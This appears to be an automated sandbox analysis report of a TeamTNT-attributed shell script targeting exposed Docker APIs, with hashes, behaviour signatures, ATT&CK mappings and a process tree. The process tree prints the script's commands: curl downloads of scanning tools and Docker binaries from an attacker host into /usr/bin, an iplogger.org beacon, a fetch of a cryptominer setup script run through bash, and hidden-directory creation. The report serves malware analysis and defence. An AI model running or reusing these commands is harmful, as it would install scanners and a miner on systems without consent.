317806eaebb1cec9ddb962ef7fa19ee0673a67db3a8c7d650d76885041031ce8

Analysis

max time kernel
23s
max time network
87s
platform
debian-9_mipsel
resource
debian9-mipsel-20240611-en
resource tags

arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
29-12-2024 23:10

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

SugarLogic_#teamtnt_by_@r3dbU7z/Docker-API.IP.Range.sh
Size

21KB
MD5

d0295e4ffb268b65f19e7e315f6ec5c6
SHA1

0164ad6ed68acd956395202fe8fd6561fe10e62c
SHA256

0dab485f5eacbbaa62c2dd5385a67becf2c352f2ebedd2b5184ab4fba89d8f19
SHA512

5795640f96e8f5514cce674e46fc2cac5c9d91c53ec7bc45e42ecb315a13851aabd83a9ed11702d7112179ea74f2f6b27febc77204aa6937409e873ec920b33a
SSDEEP

192:9Uml6l+q7osa5zmPXArSKUpVkzzfbmpWMzAH53p1RMFKodJZIYIHAFDMXT:mtHssOTmpWCAHvCdYHAFDkT

Score

6^/10

discovery

Malware Config

Signatures

Enumerates running processes
Discovers information about currently running processes on the system

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
11	iplogger.org
12	iplogger.org

Reads CPU attributes 1 TTPs 3 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/717/status	pkill
File opened for reading	/proc/2/status	pkill
File opened for reading	/proc/395/status	pkill
File opened for reading	/proc/165/status	pkill
File opened for reading	/proc/75/cmdline	pkill
File opened for reading	/proc/347/cmdline	pkill
File opened for reading	/proc/77/cmdline	pkill
File opened for reading	/proc/350/status	pkill
File opened for reading	/proc/filesystems	pkill
File opened for reading	/proc/667/status	pkill
File opened for reading	/proc/36/cmdline	pkill
File opened for reading	/proc/6/status	pkill
File opened for reading	/proc/81/cmdline	pkill
File opened for reading	/proc/702/cmdline	pkill
File opened for reading	/proc/72/cmdline	pkill
File opened for reading	/proc/673/status	pkill
File opened for reading	/proc/3/status	pkill
File opened for reading	/proc/4/status	pkill
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/78/status	pkill
File opened for reading	/proc/1/cmdline	pkill
File opened for reading	/proc/73/cmdline	pkill
File opened for reading	/proc/659/cmdline	pkill
File opened for reading	/proc/347/cmdline	pkill
File opened for reading	/proc/1/cmdline	pkill
File opened for reading	/proc/1/status	pkill
File opened for reading	/proc/4/cmdline	pkill
File opened for reading	/proc/12/cmdline	pkill
File opened for reading	/proc/36/cmdline	pkill
File opened for reading	/proc/350/status	pkill
File opened for reading	/proc/9/status	pkill
File opened for reading	/proc/114/status	pkill
File opened for reading	/proc/386/status	pkill
File opened for reading	/proc/11/cmdline	pkill
File opened for reading	/proc/23/status	pkill
File opened for reading	/proc/filesystems	pkill
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/13/status	pkill
File opened for reading	/proc/663/status	pkill
File opened for reading	/proc/688/status	pkill
File opened for reading	/proc/663/cmdline	pkill
File opened for reading	/proc/140/cmdline	pkill
File opened for reading	/proc/673/status	pkill
File opened for reading	/proc/155/status	pkill
File opened for reading	/proc/382/status	pkill
File opened for reading	/proc/663/cmdline	pkill
File opened for reading	/proc/15/cmdline	pkill
File opened for reading	/proc/19/status	pkill
File opened for reading	/proc/352/status	pkill
File opened for reading	/proc/4/cmdline	pkill
File opened for reading	/proc/24/cmdline	pkill
File opened for reading	/proc/114/cmdline	pkill
File opened for reading	/proc/2/status	pkill
File opened for reading	/proc/4/status	pkill
File opened for reading	/proc/148/status	pkill
File opened for reading	/proc/8/cmdline	pkill
File opened for reading	/proc/71/cmdline	pkill
File opened for reading	/proc/238/status	pkill
File opened for reading	/proc/386/status	pkill
File opened for reading	/proc/22/status	pkill
File opened for reading	/proc/37/status	pkill
File opened for reading	/proc/702/cmdline	pkill
File opened for reading	/proc/12/cmdline	pkill

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
793	curl
795	curl

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/sh-thd.Lj2eCz	Docker-API.IP.Range.sh

/tmp/SugarLogic_#teamtnt_by_@r3dbU7z/Docker-API.IP.Range.sh
"/tmp/SugarLogic_#teamtnt_by_@r3dbU7z/Docker-API.IP.Range.sh"
1⤵
- Writes file to tmp directory
PID:702
- /bin/mkdir
  mkdir -p /etc/.../.docker-api.ip.range.lock/
  2⤵
  PID:707
- /usr/bin/pkill
  pkill masscan
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:714
- /usr/bin/pkill
  pkill pnscan
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:718
- /usr/bin/pkill
  pkill zgrab
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:719
- /usr/bin/curl
  curl -sLk http://dl1.chimaera.cc:443/sugarcrm/themes/default/images/SugarLogic/.../jq/x86_64 -o /usr/bin/jq
  2⤵
  - Reads runtime system information
  PID:722
- /usr/bin/curl
  curl -sLk http://dl1.chimaera.cc:443/sugarcrm/themes/default/images/SugarLogic/.../masscan/x86_64 -o /usr/bin/masscan
  2⤵
  PID:728
- /usr/bin/curl
  curl -sLk http://dl1.chimaera.cc:443/sugarcrm/themes/default/images/SugarLogic/.../zgrab/x86_64 -o /usr/bin/zgrab
  2⤵
  PID:731
- /usr/bin/curl
  curl -sLk http://dl1.chimaera.cc:443/sugarcrm/themes/default/images/SugarLogic/.../pnscan/x86_64 -o /usr/bin/pnscan
  2⤵
  PID:733
- /usr/bin/curl
  curl -sLk http://dl1.chimaera.cc:443/sugarcrm/themes/default/images/SugarLogic/.../docker/x86_64.tgz -o /dev/shm/docker.tgz
  2⤵
  PID:771
- /bin/tar
  tar xzvf /dev/shm/docker.tgz -C /dev/shm/
  2⤵
  PID:780
- /bin/mv
  mv "/dev/shm/docker/*" /usr/bin/
  2⤵
  PID:783
- /bin/rm
  rm -fr /dev/shm/docker/
  2⤵
  PID:784
- /bin/uname
  uname -m
  2⤵
  PID:785
- /bin/uname
  uname -m
  2⤵
  PID:786
- /bin/uname
  uname -m
  2⤵
  PID:787
- /bin/uname
  uname -m
  2⤵
  PID:789
- /bin/uname
  uname -m
  2⤵
  PID:790
- /bin/uname
  uname -m
  2⤵
  PID:791
- /bin/uname
  uname -m
  2⤵
  PID:792
- /usr/bin/curl
  curl -sLk https://iplogger.org/1A4Cu7 -o /dev/null
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:793
- /usr/bin/curl
  curl -sLk ipv4.icanhazip.com
  2⤵
  - System Network Configuration Discovery
  PID:795
- /usr/bin/curl
  curl -Lk http://chimaera.cc/sh/setup/my.xmr.sh
  2⤵
  - Reads runtime system information
  PID:797
- /bin/bash
  bash
  2⤵
  PID:798
- /bin/mkdir
  mkdir -p /.../
  2⤵
  PID:800

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/sh-thd.Lj2eCz

Filesize
81B

MD5
1eacaff4a80ee2cd21304054a0f1ba5b

SHA1
409d8527d082431cd19eff3c86c2821a28917043

SHA256
1a2a7a0098ee47a38d4ab34c13a789730b9e44dc8ff5e9984d5ddd518b94ed53

SHA512
135135c14c66572cf2a1e2d19088216806c73ba46b54e9e78576613fe73a668c04e922636df7a0770241dec17dde55160bbbb4a3e00d9b5e991a2616f712d21d

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads